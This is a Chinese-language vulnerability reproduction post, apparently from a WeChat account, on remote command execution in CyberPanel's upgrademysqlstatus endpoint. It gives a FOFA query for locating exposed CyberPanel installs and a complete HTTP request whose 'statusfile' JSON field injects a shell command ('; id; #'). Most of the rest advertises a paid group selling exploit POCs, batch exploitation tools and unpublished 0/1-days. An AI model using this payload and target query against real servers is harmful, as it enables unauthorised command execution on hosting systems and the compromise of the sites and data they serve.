需要EDU SRC邀请码的师傅可以私聊后台，免费赠送EDU SRC邀请码（邀请码管够）
漏洞简介
CyberPanel 是一个开源的托管控制面板，它是为 VPS 和 Dedicated Servers 设计的，用于简化网站和服务的管理。它提供了易于使用的界面，允许用户进行各种服务器管理和网站托管任务，例如创建和管理网站、电子邮件账户、数据库和 DNS 记录。在upgrademysqlstatus接口可用过；拼接系统命令进行执行，造成命令执行漏洞
资产详情
app="CyberPanel" 
漏洞复现
OPTIONS /dataBases/upgrademysqlstatus HTTP/1.1Host:User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Content-Type: application/jsonConnection: close{"statusfile":"/dev/null; id; #"}
Nuclei测试
圈子介绍
高质量漏洞利用工具分享社区，每天至少更新一个0Day/Nday/1day及对应漏洞的批量利用工具，团队内部POC分享，星球不定时更新内外网攻防渗透技巧以及最新学习研究成果等。如果师傅还是新手，内部的交流群有很多行业老师傅可以为你解答学习上的疑惑，内部分享的POC可以助你在Edu和补天等平台获得一定的排名。如果师傅已经是老手了，有一个高质量的LD库也能为你的工作提高极大的效率，实战或者攻防中有需要的Day我们也可以通过自己的途径帮你去寻找。
【圈子服务】
1，一年至少365+漏洞Poc及对应漏洞批量利用工具
2，Fofa永久高级会员
3，24HVV内推途径
4，Cmd5解密，各种漏洞利用工具及后续更新，渗透工具、文档资源分享
5，内部漏洞库情报分享（目前已有2000+poc，会定期更新，包括部分未公开0/1day）
6，加入内部微信群，认识更多的行业朋友（群里有100+C**D通用证书师傅），遇到任何技术问题都可以进行快速提问、讨论交流；
圈子目前价格为129元(交个朋友啦！)，现在星球有近900+位师傅相信并选择加入我们，人数满1000涨价至149，圈子每天都会更新内容。
圈子近期更新LD库
每篇文章均有详细且完整WriteUp
星球提供免费F**a
C**D通用证书
一起愉快的刷分
免责声明
文章所涉及内容，仅供安全研究与教学之用，由于传播、利用本文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。
原文始发于微信公众号（阿乐你好）：【漏洞复现】CyberPanel 存在远程命令执行漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论